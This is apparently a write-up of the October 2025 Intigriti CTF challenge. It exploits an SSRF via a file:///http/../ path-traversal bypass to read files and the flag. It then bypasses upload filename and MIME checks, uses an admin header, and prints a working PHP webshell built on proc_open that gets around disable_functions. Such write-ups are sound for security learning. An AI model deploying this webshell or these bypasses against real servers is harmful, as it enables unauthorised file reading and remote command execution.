# Intigriti's October challenge by [chux](https://x.com/chux13786509)
- URL https://challenge-1025.intigriti.io/
- Goal: get flag and RCE
## TL;DR
- Found SSRF in image fetcher → abused `file://` + path traversal to read flag.
- Found unrestricted upload endpoint → bypassed filename + MIME checks (double extension + magic bytes) and Apache header restriction to upload a PHP webshell.
- Used `proc_open()` to get remote command execution.
## SSRF lead to Arbitrary File Read
This is the [challenge](https://challenge-1025.intigriti.io/challenge.php):

The challenge has an image fetcher where you supply a URL and the server fetches the resource. I first served a simple HTTP response from my server to confirm behavior:


When I submitted a URL, the app returned the HTTP response body HTML-entity-encoded (good XSS mitigation)

Because the server fetches arbitrary URLs, this looked like an SSRF opportunity. Requests to localhost/127.0.0.1 were blocked with: `Invalid URL: access to localhost is not allowed`

I tried various host encodings (http:/0, http://127.1, etc.):

But this doesn't make sense since it returns a front-end response, so what useful thing can it do? For example, scan ports, call other internal services. I tried calling port `3306`:

But what I noticed was the error returning `cURL Error ...`, I searched and associated it with the server using [cURL](https://www.php.net/manual/en/book.curl.php), here I also skipped thinking about fuzzing other vulnerabilities like Command Injection or many other types of Injection vulnerabilities, instead I focused on the **protocol**. Besides `http`, `file://` is also used a lot in SSRF exploits.
I tried with `file:///` and it returned with `Invalid URL: must include 'http'`

It seemed like it was blocking the protocol but if I looked at the `include` error message, I could easily see that it was just checking if `http` was included in `url` instead of because it is the protocol (which appears first).
And as I thought, I bypassed this and with paylaod `file:///http`, it said I couldn't read the `/http` file because it simply didn't exist.

I use path traversal to read the `/etc/passwd` file by telling the server to treat `http` as a directory and use `..` to go outside:

In addition to reading files, `file://` also allows listing files in a directory. I list files at root `/` to read the flag:


Flag: `INTIGRITI{ngks896sdjvsjnv6383utbgn}`
## Remote Code Execution (RCE)
However, the second challenge target of the article is **RCE**. So from reading any file I think of getting the source code to analyze and find other vulnerabilities, if this method does not exploit anything, I will research and try to exploit through some other protocols.
### Unrestricted File Upload
I found the src code at `/var/www/html`

And there is a suspicious file called `upload_shoppix_images.php`, the content is as follows:
```php
<!DOCTYPE html>
<html lang="en">
<head>
...
</head>
<body>
<?php include "partials/header.php"; ?>
<div class="card">
<h1>Upload Your Design</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="image" />
<br>
<button type="submit">Upload</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['image'];
$filename = $file['name'];
$tmp = $file['tmp_name'];
$mime = mime_content_type($tmp);
if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
) {
move_uploaded_file(from: $tmp, "uploads/" . basename(path: $filename));
echo "<p style='color:#00e676'> File uploaded successfully to /uploads/ directory!</p>";
} else {
echo "<p style='color:#ff5252'> Invalid file format</p>";
}
}
?>
</div>
<?php include "partials/footer.php"; ?>
</body>
</html>
```
It's easy to detect a file upload vulnerability that can perform RCE, and I have to bypass the file check:
- First is the file name check, getting the file name from `$file['name']`, it is checked in the `if` condition:
```php
stripos($filename, needle: ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false
```
The [`stripos()`](https://www.php.net/manual/en/function.stripos.php) function is used to find the **first occurrence** of a substring in a parent string (string) — case-insensitive. => I can use a **double extension** like this: `filename.jpg.php`, because it only checks for existence instead of checking the extension last)
- The second is `$mime = mime_content_type($tmp);` which is checked `strpos($mime, "image/") === 0`
[mime_content_type](https://www.php.net/manual/en/function.mime-content-type.php) function is used to determine the MIME type of a file, instead of relying on the **extension**, this function analyzes the **file content** to guess the **data type**. So how does it work and determine?
Specifically, PHP uses a **magic** database (often called a magic file or `magic.mime`) – containing byte patterns specific to each file format – to match and determine the MIME type. In other words, the function will read a part of the file data (typically the file header or magic bytes) and compare it with a predefined table to see what type the file is (e.g., starting with `\xFF\xD8\xFF` will identify it as `image/jpeg`).
Reference: https://en.wikipedia.org/wiki/List_of_file_signatures
However, without any additional measures, the application will still be bypassed by **MIME type spoofing**: A common way is to insert a few bytes of the valid file type at the beginning of the malicious file. A classic example: add the byte string `GIF89a` (the header of a GIF image) at the beginning of a PHP code, then the function `mime_content_type("filename")` returns `image/gif` => bypass this mechanism.
=> We can control the above 2 things easily in the request.
I immediately accessed the target:

The result is 403, and the server is `Apache/2.4.65 (Debian) Server` - I searched and this is the latest version which means there should be no previous vulnerabilities to exploit.
The server blocked this request, and I continued to look at the apache2 config:

The `/etc/apache2/apache2.conf` file is the global Apache configuration file, however I didn't see anything special and moved to another file: `/etc/apache2/sites-enabled/000-default.conf` - this is the default VirtualHost configuration that Apache follows to handle HTTP requests:

```
<VirtualHost *:8080>
DocumentRoot /var/www/html
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
<Directory /var/www/html/uploads>
Options -Indexes
</Directory>
<Directory /var/www/html/public>
Options -Indexes
</Directory>
<Files "upload_shoppix_images.php">
<If "%{HTTP:is-shoppix-admin} != 'true'">
Require all denied
</If>
Require all granted
</Files>
</VirtualHost>
```
So accessing `upload_shoppix_images.php` is due to the configuration here, specifically:
The tag `<Files "upload_shoppix_images.php">` specifies the file to apply the configuration to (here, the file `upload_shoppix_images.php`)
`<If "%{HTTP:is-shoppix-admin} != 'true'">`
This is a conditional expression that Apache evaluates every time there is a request. This means that Apache will read the value of the HTTP header named `is-shoppix-admin`.
- If the value is different from `true`, it means: The client did not send this header, or the header has a different value.
→ Apache will completely block access to the `upload_shoppix_images.php` file by applying `Require all denied` (The returned status code is 403 as we have seen).
- The last `Require all granted` line is placed outside the `<If>` block, so it only applies if the condition in `<If>` is not activated (the `is-shoppix-admin` header has the value `true`).
→ Then, Apache allows normal access.
Therefore, just insert the above header to be able to access
```
Is-Shoppix-Admin: true
```

Next I uploaded a simple `.php` shell file with the magic bytes at the beginning being `GIF89a`:

And when I access the php file I just uploaded, I get an error message like this:

### Bypass security config
It says `system` funtion is not allowed to be called, usually for the following reasons:
- The function is disabled in `php.ini`: `disable_functions` configuration contains `system`
- The function is blocked by some security module
- The PHP source code has been customized (rarely happens)
...
Usually it's because of the first thing and I can read the `php.ini` file, write php code to get the `disable_functions` value and for easy viewing I use [`phpinfo()`](https://www.php.net/manual/en/function.phpinfo.php) to see the config in `php.ini` as an interface:

Access and view:

So the value `disable_functions` indicates that the following functions are blocked `system,passthru,shell_exec,popen,exec`.
At this point I have 2 ways to do it:
1. Find another function that can execute the same system command
2. Use some methods to bypass `disable_functions` that have been exploited a lot on the internet
However, because the PHP version is quite new `8.1.33`, I will usually limit myself to the 2nd way, instead I will start from the 1st way.
A pretty useful gist that I found: https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720
I went into the local test with the `proc_open()` function along with the [PHP documentation](ttps://www.php.net/manual/en/function.proc-open.php).
Finally I have refined the shell:
```php
<?php
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$cmd = $_GET[1];
$proc = proc_open($cmd, $descriptorspec, $pipes);
if (is_resource($proc)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($proc);
echo nl2br(htmlspecialchars($output));
}?>
```
Upload:

Successful RCE:

------------------
Thanks for reading — if you have any questions or errors in the article, you can contact me via discord @caodchuong312